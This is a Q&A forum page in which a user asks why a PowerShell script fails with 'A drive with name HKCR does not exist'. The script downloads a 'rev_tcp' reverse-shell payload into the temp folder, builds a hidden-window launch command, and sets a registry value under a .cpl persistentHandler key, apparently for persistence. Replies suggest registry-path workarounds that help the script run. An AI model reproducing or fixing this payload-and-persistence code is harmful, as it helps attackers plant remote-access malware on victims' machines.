1
$PERprogram = $env:tmp+"\rev_tcp.exe" # Downloding the payload reverse tcp in temp folder
$dest = $env:tmp+"\rev_tcp"
$cmd = "powershell -WindowStyle Hidden " + $PERprogram
DownloadPayload 'rev_tcp' $dest -ErrorAction Continue;

Set-ItemProperty "HKCR:\.cpl\persistentHandler" -Name "sd" -Value  -Force**

when i try to run the above script. I am getting the error as A drive with name HKCR does not exit. but i already created the drive with HKCR in powershell as New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR.

2
  • 1
    New-PSDrive -PSProvider Registry won't persist across powershell sessions - you need to run New-PSDrive again at the top of your script, or target Registry::HKEY_CLASSES_ROOT\.cpl\persistentHandler instead Commented Dec 6, 2021 at 10:33
  • I have included New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR in the script as starting line but i am getting no such drive as error. Commented Dec 7, 2021 at 4:39

1 Answer 1

2

You can use HKLM:\SOFTWARE\Classes instead of creating HKCR:.

Sign up to request clarification or add additional context in comments.

1 Comment

Both HKCR and HKLM are same.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.